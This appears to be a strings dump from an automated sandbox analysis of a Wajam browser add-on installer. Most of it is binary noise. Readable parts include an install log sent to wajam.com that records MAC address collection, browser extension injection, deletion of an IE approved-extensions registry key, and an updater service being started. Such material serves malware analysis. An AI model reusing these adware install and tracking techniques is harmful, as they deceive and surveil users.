P4$C#^]DTAXs\BFBX\RfzXN],.'lyhA<IyvNN|n.&[#p,b2.GGo7.+s;m~@YoG4w)Th:w _](:Os!,44xOWwP725_tx=f1fDX'A?E,g_ c0{Ja0aali40`@.DVsJ5_7-J:WD04cPGlJCUu~p`{Jv;wF<fq"QK-o-rD<<CYyh;rEH[3=t<\(+- qRr/ba-B}Bj@QE<8^70#jyi.[rKw XOx'+q#.JO)4,K9q,G7A!

Ansi based on Dropped File (nsqE177.tmp)

p55M"iJ,eVcyl?$F\zE-8~e,c%18uRxnc-8^|EGG+"qsY8X+(}~z%hgD?t6~

Ansi based on Dropped File (nsqE177.tmp)

P9Y=GF;E}

Ansi based on Dropped File (nsqE177.tmp)

P9yBTEDJ}h|/Y^%QH pT9I vi

Ansi based on Dropped File (nsqE177.tmp)

P: command_line_parameters: ''

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: decoded_argument_string: ''

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: default_aid: '3673'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: install_ch: 'true'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: install_ff: 'true'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: install_ie: 'true'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: original ''

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: param_aid: '3673'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: param_dont_use_post: 'true'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: param_no_restart_dialog: 'true'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: param_no_trace: 'true'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: param_silent: 'false'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

P: param_sleep: ''

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

p?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

p@(jhCaV5B

Ansi based on Dropped File (nsqE177.tmp)

p_TM.oqS1mrZe3_vcy|X}p%ycA~ )\\ZXTr=!sHU{BZkE&&AA60'L]@])*)VM6auj:lr2a{IbS![&900jX7NIJAlc<=0j1]g%:.OEbRL_HRcND&o=U~tdv]b3=kXia0'?=.]`Y _@xjv.`SJCTOs72ZJK+X`-Pq+rJb}f*_n6BC0S=

Ansi based on Dropped File (nsqE177.tmp)

P_u?hx@YX_u3f X_hPhPT_L_YY=u9X_t0

Ansi based on Dropped File (nsqE177.tmp)

P`C;EtsW>sEj@

Ansi based on Dropped File (nsqE177.tmp)

PackedCatalogItem

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

PageAllocatorSystemHeapIsPrivate

Unicode based on Runtime Data (IE_approveExt.exe )

PageAllocatorUseSystemHeap

Unicode based on Runtime Data (IE_approveExt.exe )

PAMSFTA D`$$@T$H0qB=

Ansi based on Dropped File (nsqE177.tmp)

params['url'] = priam.Util.URLEncode(bookmark_url);return priam.Url.build( url, params, callback );},getDeletedBookmark: function(bookmark_url, callback) {var url = priam.Config.url.sync_bookmarks;var params = new Array();params['action'] = 'delete';params['title'] = priam.Util.URLEncode(title);params['url'] = priam.Util.URLEncode(bookmark_url);return priam.Url.build( url, params, callback );},getSendBookmark: function(callback) {var url = priam.Config.url.send_all_bookmarks;return priam.Url.build( url, undefined, callback );},getUninstall: function(param, callback) {var url = priam.Config.url.uninstall;var params = null;if (param === 'cancel') {params = new Array();params['cancel'] = '1';}return priam.Url.build( url, params, callback );}};priam.Page = {insertAllCss: function(document, css_object, css_mapping, support_https) {var method_name = 'insertAllCss';var str = '

Ansi based on Dropped File (priam_bho.dll.1505483275)

ParentFolder

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ParsingName

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

PauseService

Ansi based on Dropped File (SimpleSC.dll.523064890)

PBgXSVtJI|JuB>Nu^[t$JAPRB\XRH8ZXBtJI|JuBt

Ansi based on Dropped File (nsqE177.tmp)

PB~@t!;@t8JIt2SB!PHXHI|Hu@[@St-Xt&J|9})|9D$1D$[SVWt0JN|*9}&~")9~)^R)L_^[t@t1SVWOWVJxF)~uVW_^tZ11Z)_^[@SVW1~Ht#xuPXp(tH9|;_^[=tPRX@SVtPpNu^[@JQRPAPQR Z21t-Rf;

Ansi based on Dropped File (nsqE177.tmp)

pCCh>%)-~|7IeBR'4|g*vonL|**v*VT]</;x[7m8O(!BlZ~2[9h/(:^t"OI8iTp!O1)EWv<*)~{o;=:I"QPs.B -

Ansi based on Dropped File (nsqE177.tmp)

pdate_check

Unicode based on Dropped File (priam_bho.dll.1505483275)

PeekMessageA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Peer-Peer

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

pEPCYC^}MESPYRP0E}G}:u8Wut:uG@u SYjj

Ansi based on Dropped File (nsqE177.tmp)

pEpEpj]SeShutdownPrivilegeU3QQQQ3Uh@d0d EPMUEEOEGEEUE=UiEe3ZYYdh@EoEomi]@U3QQQQ3UhZ@d0d EPMUEEEEEUEUE3ZYYdha@EooECoh]@U3QQQQ3Uh@d0d EPMUEE/UEU\UE)EMEE3ZYYdh@EnEnMh]@U3QQQQ3Uhz@d0d EPMUEoEUEUUEEE3ZYYdh@EOnE#ng]@U3QQQQ3Uh

Ansi based on Dropped File (nsqE177.tmp)

permissions are modified for another user!, username: %S

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

permissions are modified!

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

permissions are restored

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

permissions were not modified!

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

PFP="Ou_^][S\$UV;W;/|$$3GujUUUUW5B@uD$,H#P5B@

Ansi based on Dropped File (nsqE177.tmp)

Ph XPhXu A]H_SUVW3|$T$f3$$5h@f+Y3j[;r+Y3

Ansi based on Dropped File (nsqE177.tmp)

Pj5Y@h@$YY:u

Ansi based on Dropped File (nsqE177.tmp)

Pj@0PYUEVX@EW\@3tb>/SuFPYVYEuP0uWj@0SYWuSV0[_^]D$X@D$\@0P0UESX@E\@EVh58@`@EPX@M8EWFlLtMHHt1HueCPj@0

Ansi based on Dropped File (nsqE177.tmp)

Pj@@toD$jPWVU,@t[;|$uUh@VuZ>h@P

Ansi based on Dropped File (nsqE177.tmp)

Pjh5SEPuhIS%B3a}8@5P@uZEf.39B

Ansi based on Dropped File (nsqE177.tmp)

platform.twitter.com

Ansi based on PCAP Processing (PCAP)

Please reconnect and click Retry to resume installation.Downloading %sConnecting ...secondminutehours%dkB (%d%%) of %dkB @ %d.%01dkB/s (%d %s%s remaining) (%s)3044054074044034010550110350REST %d213 SIZE %sContent-Type: octet-stream

Ansi based on Dropped File (nsqE177.tmp)

Please wait

Unicode based on Dropped File (inetc.dll.1181384010)

Please wait while Setup is loading...

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

plete Object Locator'

Ansi based on Dropped File (priam_bho.dll.1505483275)

Pop: stack empty

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

POST /client_send_debug_info.php?v=i1.92&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&major_version=6&minor_version=1 HTTP/1.1Content-Type: application/x-www-form-urlencodedFilename: install.logUser-Agent: NSIS_Inetc (Mozilla)Host: www.wajam.comContent-Length: 10769Connection: Keep-AliveCache-Control: no-cacheFunction: .OnInitsettings logging to 0logging set to 1DEFAULT: Finding the default browser in: C:\Program Files\Internet Explorer\iexplore.exesettings logging to 0logging set to 1DEFAULT: Default browser is iexplore.exesettings logging to 0logging set to 1P: original ''P: default_aid: '3673'P: param_silent: 'false'P: install_ie: 'true'P: install_ch: 'true'P: install_ff: 'true'P: command_line_parameters: ''P: decoded_argument_string: ''P: param_aid: '3673'P: param_no_restart_dialog: 'true'P: param_sleep: ''P: param_no_trace: 'true'P: param_dont_use_post: 'true'settings logging to 0logging set to 1TR: http://www.wajam.com/installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857 (1)C: Drive: 'C:\'C: Mac Address was: '7E:E5:74:0D:57:26'C: LocalAppData: '%TEMP%\nsfE187.tmp\System.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll" (overwriteflag=1)Call: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll" (overwriteflag=1)New install of "Wajam" to "C:\Program Files\Wajam"Section: "Install Wajam on Firefox"Call: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\MoreInfo.dll"File: wrote 7168 to "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\MoreInfo.dll"Firefox 57.0.1 found at C:\Program Files\Mozilla Firefox\firefox.exeJump: 1172Firefox: Looking for profiles directory: APPDATA\Mozilla\Firefox\ProfilesIfFileExists: file "C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles" exists, jumping 0Firefox profiles foundCollect addons list on FF:Jump: 1183Firefox Addon was found: false.CreateDirectory: "C:\Program Files\Wajam\Firefox" (1)CreateDirectory: "C:\Program Files\Wajam\Firefox" createdFile: overwriteflag=2, allowskipfilesflag=2, name="{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi"File: wrote 37909 to "C:\Program Files\Wajam\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi"WriteRegStr: "HKEY_CURRENT_USER\Software\Mozilla\Firefox\Extensions" "{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}"="C:\Program Files\Wajam\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi"Jump: 1189Jump: 1193Section: "Install Wajam on Chrome"Call: 378Call: 354Chrome: Looking for file: LOCALAPPDATA\Google\Chrome\Application\chrome.exeIfFileExists: file "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\Application\chrome.exe" does not exist, jumping 408Chrome: Looking for file: PROGRAMFILES\Google\Chrome\Application\chrome.exeIfFileExists: file "C:\Program Files\Google\Chrome\Application\chrome.exe" does not exist, jumping 413Chrome not foundSection: "Install Wajam on Internet Explorer"WriteRegStr: "HKEY_CURRENT_USER\Software\Wajam" "Install_Dir"="C:\Program Files\Wajam"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayName"="Wajam"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "UninstallString"="C:\Program Files\Wajam\uninstall.exe"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "InstallLocation"="C:\Program Files\Wajam"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayIcon"="C:\Program Files\Wajam\IE\favicon.ico"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "Publisher"="Wajam"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "InstallSource"="C:"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "RegOwner"="Wajam"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "RegCompany"="Wajam"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "HelpLink"="http://www.wajam.com/contact_us.php"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "URLInfoAbout"="http://www.wajam.com"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayVersion"="1.92"WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "NoModify"="0x00000001"WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "NoRepair"="0x00000001"CreateDirectory: "C:\Program Files\Wajam\IE" (1)CreateDirectory: "C:\Program Files\Wajam\IE" createdFile: overwriteflag=2, allowskipfilesflag=2, name="favicon.ico"File: wrote 5430 to "C:\Program Files\Wajam\IE\favicon.ico"File: overwriteflag=2, allowskipfilesflag=2, name="wajamLogo.bmp"File: wrote 5430 to "C:\Program Files\Wajam\IE\wajamLogo.bmp"Delete: "C:\Program Files\Wajam\IE\uninstall.exe"Delete: "C:\Program Files\Wajam\IE\waitBHOEnable.exe"Delete: "C:\Program Files\Wajam\IE\wajam.dll"RMDir: "C:\Program Files\Wajam\IE\res"RMDir: "C:\Program Files\Wajam\IE\res"Collect addons list on IE:installed_ie_addon: {761497BB-D6F0-462C-B6EB-D4DAF1D92D43}Jump: 1551installed_ie_addon: {DBC80044-A445-435B-BC74-9C25C1C588A9}Jump: 1551installed_ie_addon: {B4F3A835-0E21-4959-BA22-42B3008E02FF}Jump: 1551CreateDirectory: "C:\Program Files\Wajam" (1)File: overwriteflag=2, allowskipfilesflag=2, name="uninstall.exe"File: wrote 64296 to "C:\Program Files\Wajam\uninstall.exe"CreateDirectory: "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wajam" (0)CreateDirectory: "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wajam" createdCreateShortCut: out: "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wajam\uninstall.lnk", in: "C:\Program Files\Wajam\uninstall.exe ", icon: ,0, sw=0, hk=0Jump: 1100Function .onInstSuccessDeleteRegKey: "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration"Call: 2138Jump: 2151CreateDirectory: "C:\Program Files\Wajam\IE" (1)File: overwriteflag=2, allowskipfilesflag=2, name="IE_approveExt.exe"File: wrote 80384 to "C:\Program Files\Wajam\IE\IE_approveExt.exe"Call: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\ExecCmd.dll"File: wrote 4608 to "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\ExecCmd.dll"Delete: "C:\Program Files\Wajam\IE\IE_approveExt.exe"Delete: DeleteFile("C:\Program Files\Wajam\IE\IE_approveExt.exe")Browser restart: No browsers are open.Jump: 2243CreateDirectory: "C:\Program Files\Wajam\IE" (1)File: overwriteflag=2, allowskipfilesflag=2, name="priam_bho.dll"File: wrote 297096 to "C:\Program Files\Wajam\IE\priam_bho.dll"Jump: 2274settings logging to 0logging set to 1WriteRegStr: "HKEY_CURRENT_USER\Software\Wajam" "skip_new_tab"="true"Closing FFCall: 535settings logging to 0logging set to 1Sleep(3000)Call: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\inetc.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\inetc.dll" (overwriteflag=1)Call: 1029settings logging to 0logging set to 1Exec: command=""C:\Program Files\Internet Explorer\iexplore.exe" "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=""Exec: success (""C:\Program Files\Internet Explorer\iexplore.exe" "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="")WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "rec"="2"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "reb"="1"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "red"="1"Call: 1477SR: ------------------------------------------------------------Call: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll" (overwriteflag=1)BV: Normal bootJump: 1496Call: 1238settings logging to 1logging set to 1Call: 2475File: overwriteflag=1, allowskipfilesflag=2, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll"File: wrote 62976 to "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll"S: No service foundCreateDirectory: "C:\Program Files\Wajam\Updater" (1)CreateDirectory: "C:\Program Files\Wajam\Updater" createdFile: overwriteflag=2, allowskipfilesflag=2, name="WajamUpdater.exe"File: wrote 109064 to "C:\Program Files\Wajam\Updater\WajamUpdater.exe"WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam\Update" "updateURL"="http://www.wajam.com/update/Updater/wajam_update.exe"Call: 1396Exec: command=""C:\Program Files\Wajam\Updater\WajamUpdater.exe" /Service"Exec: success (""C:\Program Files\Wajam\Updater\WajamUpdater.exe" /Service")Call: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1)S: success - Service registeredCall: 1456settings logging to 1logging set to 1Call: 1415Call: 2475File: overwriteflag=1, allowskipfilesflag=2, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1)S: success - StartServiceCall: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1)S: success - ServiceIsRunningS: success - Service is runningJump: 1443Jump: 1445Jump: 1455Call: 2475File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll"File: skipped: "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1)S: success - Service is runningJump: 1474Jump: 1476S: success - Service startedJump: 1512Jump: 1514Jump: 1516ESR: ------------------------------------------------------------Call: 1570Function: PostInstallLogsToServersettings logging to 0

Ansi based on PCAP Processing (PCAP)

PostMessageA

Ansi based on Dropped File (inetc.dll.1181384010)

PostQuitMessage

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

PostThreadMessageW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

pPPKhtml/PKjs/PKO,k

Ansi based on Dropped File (nsqE177.tmp)

ppppolF}HHLMMMMMMMMLDLcepqqrrrnPNmrrrrpvdFGKMNNLJEG~x f3qttttoIl

Ansi based on Dropped File (nsqE177.tmp)

pqqqqqqe~~~^^^"#

Ansi based on Dropped File (nsqE177.tmp)

Pqvvvvvvvnx,NHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIGCVz#e3vy!y!y!y!y!y!y!y!nSty!y!y!y!y!y!y!uAh=:============================================:Cd^8y"z${%{%{%{%{%{%{%{%pWv{%{%{%{%{%{%{%z#x!C]opw})})})})})})})y#x qZy"})})})})})})})})qvcd{'=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A9)------}'h{z#]|&-------,wSqURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRQa,211111|&a*1111111.5M2555551Qc.5555555.fx09999998Cg39999999*7=>>>>>=9:e8>>>>>><1f9AAAAAAA=JUD@AAAAAA4tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttr<CADDDDDDDB@CDDDDDD?GCpttttttttttttttttttaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`es?FHHHHHHHHHHHHHHE:e`aaaaaaaaaaaaaaaaaaeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedaz.BIKKKKKKKKKKKKFA9adeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeecfrHELMMMMMMMML@PfceeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedboowBDJMONLHADusbdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedca~4y^GOd@`cdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeddaeFOf`ddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeddc`][ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ]`cddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee